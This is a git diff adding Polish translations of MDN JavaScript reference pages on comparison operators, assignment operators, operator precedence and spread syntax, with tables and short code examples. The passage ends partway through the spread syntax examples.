diff --git a/files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html b/files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html new file mode 100644 index 0000000000..cf86515544 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html @@ -0,0 +1,129 @@ +--- +title: Operatory porównania +slug: Web/JavaScript/Referencje/Operatory/Operatory_porównania +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Operandy posiadają wartość liczbową lub łańcucha znaków. Łańcuchy znaków są porównywane w oparciu o zasady pisowni, używają wartości Unicode.</p> + +<p>Jako rezultat porównania zwracana jest wartość logiczna.</p> + +<ul> + <li>Dwa łańcuchy są równe kiedy kiedy posiadają taką sama sekwencję znaków, taką samą długość, i takie same znaki w zgodnych pozycjach.</li> + <li>Dwie liczby są równe kiedy ich wartości liczbowe (posiadają liczbę o takiej samej wartości). NaN jest różne dla wszystkich, włączając NaN. Dodatnie i ujemne zera są równe.</li> + <li>Dwa obiekty są równe jeżeli odnoszą się do tego samego obiektu .</li> + <li>Dwa operandy Boolean są równe jeżeli oba zwracają <code>true</code> lub <code>false</code>.</li> + <li>Typy Null i Undefined są <code>==</code> (lecz nie <code>===</code>).</li> +</ul> + +<p>Następująca tabela opisuje operatory porównania:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Operator</th> + <th>Opis</th> + <th>Przykłady zwracające prawdę (true)<sup>1</sup></th> + </tr> + <tr> + <td>Równy (<code>==</code>)</td> + <td>Zwraca true jeżeli operandy są równe. Jeżeli operandy nie są tego samego typu, JavaScript próbuje przekształcić operandy na odpowiedni dla porównania typ.</td> + <td> + <p><code>3 == var1<br> + "3" == var1<br> + 3 == '3'</code></p> + </td> + </tr> + <tr> + <td>Różny (<code>!=</code>)</td> + <td>Zwraca true jeżeli operandy są różne. Jeżeli dwa operandy nie są tego samego typu, JavaScript próbuje przekształcić operandy na odpowiedni dla porównania typ.</td> + <td> + <p><code>var1 != 4<br> + var1 != "3"</code></p> + </td> + </tr> + <tr> + <td>Identyczny (<code>===</code>)</td> + <td>Zwraca true jeżeli operandy są równe i tego samego typu.</td> + <td> + <p><code>3 === var1</code></p> + </td> + </tr> + <tr> + <td>Nieidentyczny (<code>!==</code>)</td> + <td>Zwraca true jeżeli operandy nie są równe i/lub nie są tego samego typu.</td> + <td> + <p><code>var1 !== 3<br> + 3 !== '3'</code></p> + </td> + </tr> + <tr> + <td>Większy niż (<code>></code>)</td> + <td>Zwraca true jeżeli lewy operand jest większy od prawego operandu.</td> + <td> + <p><code>var2 > var1</code></p> + </td> + </tr> + <tr> + <td>Większy - równy (<code>>=</code>)</td> + <td>Zwraca true jeżeli lewy operand jest większy lub równy prawemu operandowi.</td> + <td> + <p><code>var2 >= var1<br> + var1 >= 3</code></p> + </td> + </tr> + <tr> + <td>Mniejszy niż (<code><</code>)</td> + <td>Zwraca true, jeśli lewy operand jest mniejszy, niż prawy.</td> + <td> + <p><code>var1 < var2</code></p> + </td> + </tr> + <tr> + <td>Mniejszy - równy (<code><=</code>)</td> + <td>Zwraca true jeżeli lewy operand jest mniejszy lub równy prawemu operandowi.</td> + <td> + <p><code>var1 <= var2<br> + var2 <= 5</code></p> + </td> + </tr> + </tbody> +</table> + +<p><small><sup>1</sup> Te przykłady zakładają, że <code>var1</code> będzie przydzielona wartość 3 i <code>var2</code> będzie miała przydzieloną wartość 4.</small></p> + +<h2 id="U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania" name="U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania">Używanie operatorów porównania</h2> + +<p>Standardowe operatory(<code>==</code> i <code>!=</code>) porównują dwa operandy bez względu na ich typ. Operatory porównania identyczności(<code>===</code> i <code>!==</code>) dokonują porównania równości na operandach tego samego typu. Operatorów identyczności używamy jeżeli operandy muszą być określonego typu jak również wartości lub jeśli dokładny typ operandów jest ważny. W przeciwnym razie, używamy standardowych operatorów porównania, które pozwalają na porównać identyczność dwóch operandów nawet jeżeli nie są takiego samego typu.</p> + +<p>Kiedy potrzebna jest konwersja, JavaScript następująco przekształca operand Number, Boolean lub Object.</p> + +<ul> + <li>Kiedy porównujemy liczbę i łańcuch, łańcuch jest zmieniany na wartość liczbową. JavaScript próbuje przekształcić łańcuch literalny cyfr na wartość typu <code>Number</code>. Najpierw, matematyczna wartość jest wyprowadzana z łańcucha cyfrowego literału. Następnie, ta wartość jest zaokrąglana do najbliższej wartości typu <code>Number</code>.</li> + <li>If one of the operands is <code>Boolean</code>, the Boolean operand is converted to 1 if it is <code>true</code> and +0 if it is <code>false</code>.</li> + <li>If an object is compared with a number or string, JavaScript attempts to return the default value for the object. Operators attempt to convert the object to a primitive value, a <code>String</code> or <code>Number</code> value, using the <code>valueOf</code> and <code>toString</code> methods of the objects. If this attempt to convert the object fails, a runtime error is generated.</li> +</ul> + +<p>You cannot use the standard equality operator (<code>==</code>) to compare instances of <code>JSObject</code>. Use the <code>JSObject.equals</code> method for such comparisons.</p> + +<h2 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna">Kompatybilność wsteczna</h2> + +<p>Zachowanie standardowych operatorów porównania (<code>==</code> i <code>!=</code>) zależy od wersji JavaScript.</p> + +<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze">JavaScript 1.3 i wersje wcześniejsze</h4> + +<p>You can use either the standard equality operator (<code>==</code>) or <code>JSObject.equals</code> to compare instances of <code>JSObject</code>.</p> + +<h4 id="JavaScript_1.2" name="JavaScript_1.2">JavaScript 1.2</h4> + +<p>The standard equality operators (<code>==</code> and <code>!=</code>) do not perform a type conversion before the comparison is made. Operatory identyczności (<code>===</code> i <code>!==</code>) są niedostępne.</p> + +<h4 id="JavaScript_1.1_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.1_i_wersje_wcze.C5.9Bniejsze">JavaScript 1.1 i wersje wcześniejsze</h4> + +<p>The standard equality operators (<code>==</code> and <code>!=</code>) perform a type conversion before the comparison is made.Operatory identyczności (<code>===</code> i <code>!==</code>) są niedostępne.</p> diff --git a/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html b/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html new file mode 100644 index 0000000000..c389baa5d6 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html @@ -0,0 +1,74 @@ +--- +title: Operatory przypisania +slug: Web/JavaScript/Referencje/Operatory/Operatory_przypisania +tags: + - JavaScript + - Operator +translation_of: Web/JavaScript/Reference/Operators#Assignment_operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Operator przypisania przypisuje wartość swego prawego operandu do operandu lewego.</p> + +<p>Podstawowy operator przypisania to znak równości (<code>=</code>), który przypisuje wartość prawego operandu do lewego. To znaczy, że <code>x = y</code> przypisuje wartość zmiennej <code>y</code> do zmiennej <code>x</code>. Pozostałe operatory przypisania to zwykle skróty dla operacji standardowych, jak w poniższej tabeli.</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Operator skrócony</th> + <th>Znaczenie</th> + </tr> + <tr> + <td><code>x += y</code></td> + <td><code>x = x + y</code></td> + </tr> + <tr> + <td><code>x -= y</code></td> + <td><code>x = x - y</code></td> + </tr> + <tr> + <td><code>x *= y</code></td> + <td><code>x = x * y</code></td> + </tr> + <tr> + <td><code>x /= y</code></td> + <td><code>x = x / y</code></td> + </tr> + <tr> + <td><code>x %= y</code></td> + <td><code>x = x % y</code></td> + </tr> + <tr> + <td><code>x <<= y</code></td> + <td><code>x = x << y</code></td> + </tr> + <tr> + <td><code>x >>= y</code></td> + <td><code>x = x >> y</code></td> + </tr> + <tr> + <td><code>x >>>= y</code></td> + <td><code>x = x >>> y</code></td> + </tr> + <tr> + <td><code>x &= y</code></td> + <td><code>x = x & y</code></td> + </tr> + <tr> + <td><code>x ^= y</code></td> + <td><code>x = x ^ y</code></td> + </tr> + <tr> + <td><code>x |= y</code></td> + <td><code>x = x | y</code></td> + </tr> + </tbody> +</table> + +<p> + </p><div class="noinclude"> </div> +<p></p> + +<p> </p> diff --git a/files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html b/files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html new file mode 100644 index 0000000000..87765f3e1a --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html @@ -0,0 +1,336 @@ +--- +title: Pierwszeństwo operatorów +slug: Web/JavaScript/Referencje/Operatory/Pierwszeństwo_operatorów +tags: + - JavaScript + - Operator + - pierwszeństwo +translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence +--- +<div>{{jsSidebar("Operators")}}</div> + +<div></div> + +<div>Pierwszeństwo operatorów ustala kolejność, w jakiej operatory są ewaluowane. Operatory z wyższym pierwszeństwem są ewaluowane jako pierwsze.</div> + +<div></div> + +<p>Prosty przykład:</p> + +<pre class="brush: js notranslate">3 + 4 * 5 // zwraca 23 +</pre> + +<p>Operator mnożenia ("<code>*</code>") ma wyższe pierwszeństwo niż operator dodawania ("<code>+</code>") i dlatego będzie ewaluowany jako pierwszy.</p> + +<h2 id="Associativity" name="Associativity">Łączność</h2> + +<p>Łączność określa kolejność, w jakiej przetwarzane są operatory o takim samym pierwszeństwie. Przykłądowo, rozważny wyrażenie:</p> + +<pre class="syntaxbox notranslate">a OP b OP c +</pre> + +<p>Jeżeli <code>OP<sub>1</sub></code> and <code>OP<sub>2 </sub></code>mają różne poziomy pierwszeństwa operatorów (patrz tabela poniżej), operator z wyższym poziomem pierwszeństwa zostanie wykonany jako pierwszy, a kolejność zapisu nie ma znaczenia. Zwróćmy uwagę na w poniższym przykładzie, że mnożenie ma wyższy poziom pierwszeństwa i tym samym zostanie wykonane jako pierwsze, pomimo tego, że to dodawanie jest zapisane w kodzie jako pierwsze.</p> + +<pre class="notranslate">console.log(3 + 10 * 2); // wynik 23 +console.log(3 + (10 * 2)); // wynik 23 ponieważ nawiasy tutaj nie mają znaczenia +console.log((3 + 10) * 2); // wynik 26 ponieważ nawiasy zmieniają kolejność działań</pre> + +<p>Lewo-łączność (od lewej do prawej) oznacza, iż będzie ono przetworzone jako <code>(a OP b) OP c</code>, podczas gdy prawo-łączność (od prawej do lewej) oznacza, iż będzie ono zinterpretowane jako <code>a OP (b OP c)</code>. Operatory przypisania są prawo-łączne, więc możesz napisać:</p> + +<pre class="brush: js notranslate">a = b = 5; +</pre> + +<p>oczekując, że <code>a</code> i <code>b</code> otrzymają wartość 5. Wynika to z faktu, iż operator przypisania zwraca wartość, która jest przypisana. Najpierw wartość <code>b</code> ustawiana jest na 5, a następnie wartość zmiennej <code>a</code> jest ustawiana na wartość <code>b</code>.</p> + +<h2 id="Tabela" name="Tabela">Tabela</h2> + +<p>Poniższa tabela uporządkowana jest od najwyższego (19) do najniższego (0) pierwszeństwa.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Pierwszeństwo</th> + <th>Rodzaj operatora</th> + <th>Łączność</th> + <th>Operator</th> + </tr> + <tr> + <td>19</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Grouping">Grouping</a></td> + <td>n/a</td> + <td><code>( … )</code></td> + </tr> + <tr> + <td rowspan="3">18</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Dot_notation">Member Access</a></td> + <td>left-to-right</td> + <td><code>… . …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Dot_notation">Computed Member Access</a></td> + <td>left-to-right</td> + <td><code>… [ … ]</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Special/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a> (z listą argumentów)</td> + <td>n/a</td> + <td><code>new … ( … )</code></td> + </tr> + <tr> + <td rowspan="2">17</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions" title="JavaScript/Reference/Operators/Special_Operators/function_call">Wywołanie funkcji</a></td> + <td>left-to-right</td> + <td><code>… ( <var>… </var>)</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a> (bez listy argumentów)</td> + <td>right-to-left</td> + <td><code>new …</code></td> + </tr> + <tr> + <td rowspan="2">16</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment" title="JavaScript/Reference/Operators/Arithmetic_Operators">Postinkrementacja</a></td> + <td>n/a</td> + <td><code>… ++</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement" title="JavaScript/Reference/Operators/Arithmetic_Operators">Postdekrementacja</a></td> + <td>n/a</td> + <td><code>… --</code></td> + </tr> + <tr> + <td rowspan="9">15</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT" title="JavaScript/Reference/Operators/Logical_Operators">Negacja logiczna (NOT)</a></td> + <td>right-to-left</td> + <td><code>! …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT" title="JavaScript/Reference/Operators/Bitwise_Operators">Negacja bitowa (NOT)</a></td> + <td>right-to-left</td> + <td><code>~ …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus" title="JavaScript/Reference/Operators/Arithmetic_Operators">Unary Plus</a></td> + <td>right-to-left</td> + <td><code>+ …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation" title="JavaScript/Reference/Operators/Arithmetic_Operators">Unary Negation</a></td> + <td>right-to-left</td> + <td><code>- …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment" title="JavaScript/Reference/Operators/Arithmetic_Operators">Preinkrementacja</a></td> + <td>right-to-left</td> + <td><code>++ …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement" title="JavaScript/Reference/Operators/Arithmetic_Operators">Predekrementacja</a></td> + <td>right-to-left</td> + <td><code>-- …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof" title="JavaScript/Reference/Operators/Special_Operators/typeof_Operator">typeof</a></td> + <td>right-to-left</td> + <td><code>typeof …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void" title="JavaScript/Reference/Operators/Special_Operators/void_Operator">void</a></td> + <td>right-to-left</td> + <td><code>void …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="JavaScript/Reference/Operators/Special_Operators/delete_Operator">delete</a></td> + <td>right-to-left</td> + <td><code>delete …</code></td> + </tr> + <tr> + <td rowspan="3">14</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication" title="JavaScript/Reference/Operators/Arithmetic_Operators">Mnożenie</a></td> + <td>left-to-right</td> + <td><code>… * …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division" title="JavaScript/Reference/Operators/Arithmetic_Operators">Dzielenie</a></td> + <td>left-to-right</td> + <td><code>… / …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder" title="JavaScript/Reference/Operators/Arithmetic_Operators">Reszta z dzielenia</a></td> + <td>left-to-right</td> + <td><code>… % …</code></td> + </tr> + <tr> + <td rowspan="2">13</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition" title="JavaScript/Reference/Operators/Arithmetic_Operators">Dodawanie</a></td> + <td>left-to-right</td> + <td><code>… + …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction" title="JavaScript/Reference/Operators/Arithmetic_Operators">Odejmowanie</a></td> + <td>left-to-right</td> + <td><code>… - …</code></td> + </tr> + <tr> + <td rowspan="3">12</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowe przesunięcie w lewo</a></td> + <td>left-to-right</td> + <td><code>… << …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowe przesunięcie w prawo</a></td> + <td>left-to-right</td> + <td><code>… >> …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowe przesunięcie w prawo bez znaku</a></td> + <td>left-to-right</td> + <td><code>… >>> …</code></td> + </tr> + <tr> + <td rowspan="6">11</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Mniejsze niż</a></td> + <td>left-to-right</td> + <td><code>… < …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Mniejsze lub równe</a></td> + <td>left-to-right</td> + <td><code>… <= …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Większe niż</a></td> + <td>left-to-right</td> + <td><code>… > …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Większe lub równe</a></td> + <td>left-to-right</td> + <td><code>… >= …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in" title="JavaScript/Reference/Operators/Special_Operators/in_Operator">in</a></td> + <td>left-to-right</td> + <td><code>… in …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof" title="JavaScript/Reference/Operators/Special_Operators/instanceof_Operator">instanceof</a></td> + <td>left-to-right</td> + <td><code>… instanceof …</code></td> + </tr> + <tr> + <td rowspan="4">10</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality" title="JavaScript/Reference/Operators/Comparison_Operators">Równość</a></td> + <td>left-to-right</td> + <td><code>… == …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality" title="JavaScript/Reference/Operators/Comparison_Operators">Nierówność</a></td> + <td>left-to-right</td> + <td><code>… != …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity" title="JavaScript/Reference/Operators/Comparison_Operators">Ścisła równość</a></td> + <td>left-to-right</td> + <td><code>… === …</code></td> + </tr> + <tr> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity" title="JavaScript/Reference/Operators/Comparison_Operators">Ścisła nierówność</a></td> + <td>left-to-right</td> + <td><code>… !== …</code></td> + </tr> + <tr> + <td>9</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND" title="JavaScript/Reference/Operators/Bitwise_Operators">Koniunkcja bitowa (AND)</a></td> + <td>left-to-right</td> + <td><code>… & …</code></td> + </tr> + <tr> + <td>8</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowa alternatywa wykluczająca (XOR)</a></td> + <td>left-to-right</td> + <td><code>… ^ …</code></td> + </tr> + <tr> + <td>7</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR" title="JavaScript/Reference/Operators/Bitwise_Operators">Alternatywa bitowa (OR)</a></td> + <td>left-to-right</td> + <td><code>… | …</code></td> + </tr> + <tr> + <td>6</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND" title="JavaScript/Reference/Operators/Logical_Operators">Koniunkcja logiczna (AND)</a></td> + <td>left-to-right</td> + <td><code>… && …</code></td> + </tr> + <tr> + <td>5</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR" title="JavaScript/Reference/Operators/Logical_Operators">Alternatywa logiczna (OR)</a></td> + <td>left-to-right</td> + <td><code>… || …</code></td> + </tr> + <tr> + <td>4</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator" title="JavaScript/Reference/Operators/Special_Operators/Conditional_Operator">Warunek</a></td> + <td>right-to-left</td> + <td><code>… ? … : …</code></td> + </tr> + <tr> + <td rowspan="12">3</td> + <td rowspan="12"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators" title="JavaScript/Reference/Operators/Assignment_Operators">Przypisanie</a></td> + <td rowspan="12">right-to-left</td> + <td><code>… = …</code></td> + </tr> + <tr> + <td><code>… += …</code></td> + </tr> + <tr> + <td><code>… -= …</code></td> + </tr> + <tr> + <td><code>… *= …</code></td> + </tr> + <tr> + <td><code>… /= …</code></td> + </tr> + <tr> + <td><code>… %= …</code></td> + </tr> + <tr> + <td><code>… <<= …</code></td> + </tr> + <tr> + <td><code>… >>= …</code></td> + </tr> + <tr> + <td><code>… >>>= …</code></td> + </tr> + <tr> + <td><code>… &= …</code></td> + </tr> + <tr> + <td><code>… ^= …</code></td> + </tr> + <tr> + <td><code>… |= …</code></td> + </tr> + <tr> + <td>2</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield" title="JavaScript/Reference/Operators/yield">yield</a></td> + <td>right-to-left</td> + <td><code>yield …</code></td> + </tr> + <tr> + <td>1</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="JavaScript/Reference/Operators/Spread_operator">Spread</a></td> + <td>n/a</td> + <td><code>...</code> …</td> + </tr> + <tr> + <td>0</td> + <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator" title="JavaScript/Reference/Operators/Comma_Operator">Comma / Sequence</a></td> + <td>left-to-right</td> + <td><code>… , …</code></td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html b/files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html new file mode 100644 index 0000000000..a45d730722 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html @@ -0,0 +1,244 @@ +--- +title: Składnia rozwinięcia +slug: Web/JavaScript/Referencje/Operatory/Składnia_rozwinięcia +translation_of: Web/JavaScript/Reference/Operators/Spread_syntax +--- +<div>{{jsSidebar("Operators")}}</div> + +<div><strong>Składnia rozwinięcia</strong> (ang. <em>spread syntax</em>) pozwala na rozwinięcie iterowalnego wyrażenia, takiego jak wyrażenie tablicowe lub ciąg znaków, tam gdzie oczekiwanych jest zero lub więcej argumentów (dla wywołań funkcji) lub elementów (dla literałów tablicowych). Pozwala również na rozwinięcie wyrażeń obiektowych w miejscach, gdzie oczekiwanych jest zero lub więcej par klucz-wartość (dla literałów obiektowych).</div> + +<div> </div> + +<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<p>Dla wywołań funkcji:</p> + +<pre class="syntaxbox">mojaFunkcja(...iterowalnyObiekt); +</pre> + +<p>Dla literałów tablicowych lub łańcuchów znaków:</p> + +<pre class="syntaxbox">[...iterowalnyObiekt, '3', 'cztery', 5];</pre> + +<p>Dla literałów obiektowych (nowe w ECMAScript 2018):</p> + +<pre class="syntaxbox">let klonObiektu = { ...obiekt };</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Rozwinięcie_w_wywołaniach_funkcji">Rozwinięcie w wywołaniach funkcji</h3> + +<h4 id="Zastąpienie_apply">Zastąpienie <code>apply</code></h4> + +<p>Powszechne jest używanie {{jsxref( "Function.prototype.apply")}} w przypadkach, w których chcemy użyć elementów tablicy jako argumentów funkcji.</p> + +<pre class="brush: js">function mojaFunkcja(x, y, z) { } +var argumenty = [0, 1, 2]; +mojaFunkcja.apply(null, argumenty);</pre> + +<p>Przy użyciu operatora rozpakowania można to zapisać jako:</p> + +<pre class="brush: js">function mojaFunkcja(x, y, z) { } +var argumenty = [0, 1, 2]; +mojaFunkcja(...argumenty);</pre> + +<p>Każdy argument na liście argumentów może użyć operatora rozpakowania, można go także używać wielokrotnie.</p> + +<pre class="brush: js">function mojaFunkcja(v, w, x, y, z) { } +var argumenty = [0, 1]; +mojaFunkcja(-1, ...argumenty, 2, ...[3]);</pre> + +<h4 id="Apply_for_new">Apply for new</h4> + +<p>When calling a constructor with <code>new</code>, it's not possible to <strong>directly</strong> use an array and <code>apply</code> (<code>apply</code> does a <code>[[Call]]</code> and not a <code>[[Construct]]</code>). However, an array can be easily used with <code>new</code> thanks to spread syntax:</p> + +<pre class="brush: js">var dateFields = [1970, 0, 1]; // 1 Jan 1970 +var d = new Date(...dateFields); +</pre> + +<p>To use new with an array of parameters without spread syntax, you would have to do it <strong>indirectly</strong> through partial application:</p> + +<pre class="brush: js">function applyAndNew(constructor, args) { + function partial () { + return constructor.apply(this, args); + }; + if (typeof constructor.prototype === "object") { + partial.prototype = Object.create(constructor.prototype); + } + return partial; +} + + +function myConstructor () { + console.log("arguments.length: " + arguments.length); + console.log(arguments); + this.prop1="val1"; + this.prop2="val2"; +}; + +var myArguments = ["hi", "how", "are", "you", "mr", null]; +var myConstructorWithArguments = applyAndNew(myConstructor, myArguments); + +console.log(new myConstructorWithArguments); +// (internal log of myConstructor): arguments.length: 6 +// (internal log of myConstructor): ["hi", "how", "are", "you", "mr", null] +// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre> + +<h3 id="Rozwinięcie_w_literałach_tablicowych">Rozwinięcie w literałach tablicowych</h3> + +<h4 id="Potężniejszy_literał_tablicowy">Potężniejszy literał tablicowy</h4> + +<p>Bez składni rozwinięcia, aby utworzyć nową tablicę, używając tablicy już istniejącej jako jej części, składnia literału tablicowego nie jest już wystarczająca i musimy użyć kodu imperatywnego, używając kombinacji <code>push</code>, <code>splice</code>, <code>concat</code> itd. Z użyciem składni rozwinięcia staje się to o wiele prostsze i bardziej zwięzłe:</p> + +<pre class="brush: js">var czesci = ['kotek', 'na', 'plotek']; +var wierszyk = ['wlazl', ...czesci, 'i', 'mruga']; +// ["wlazl", "kotek", "na", "plotek", "i", "mruga"] +</pre> + +<p>Tak jak dla list argumentów w wywołaniach funkcji, operator <code>...</code> może być użyty wielokrotnie i w każdym miejscu literału tablicowego.</p> + +<h4 id="Kopia_tablicy">Kopia tablicy</h4> + +<pre class="brush: js">var tab = [1, 2, 3]; +var tab2 = [...tab]; // jak tab.slice() +tab2.push(4); + +// tab2 staje się [1, 2, 3, 4] +// tab pozostaje niezmieniona +</pre> + +<p><strong>Uwaga:</strong> Składnia rozwinięcia skutecznie sięga tylko na jeden poziom wgłąb przy kopiowaniu tablicy. W związku z tym takie podejście może być nieodpowiednie przy kopiowaniu tablic wielowymiarowych, jak pokazuje poniższy przykład (tak samo jest z {{jsxref("Object.assign()")}} i kładnią rozwinięcia).</p> + +<pre class="brush: js">var a = [[1], [2], [3]]; +var b = [...a]; +b.shift().shift(); // 1 +// Tablica a została zmodyfikowana: [[], [2], [3]] +</pre> + +<h4 id="Lepszy_sposób_na_łączenie_tablic">Lepszy sposób na łączenie tablic</h4> + +<p>{{jsxref("Array.concat")}} jest często używane do dołączania elementów jednej tablicy na koniec drugiej. Bez składni rozwinięcia wygląda to tak:</p> + +<pre class="brush: js">var tab1 = [0, 1, 2]; +var tab2 = [3, 4, 5]; +// Dołącz wszystkie elementy tab2 na koniec tab1 +tab1 = tab1.concat(tab2);</pre> + +<p>Przy użyciu składni rozwinięcia wygląda to natomiast tak:</p> + +<pre class="brush: js">var tab1 = [0, 1, 2]; +var 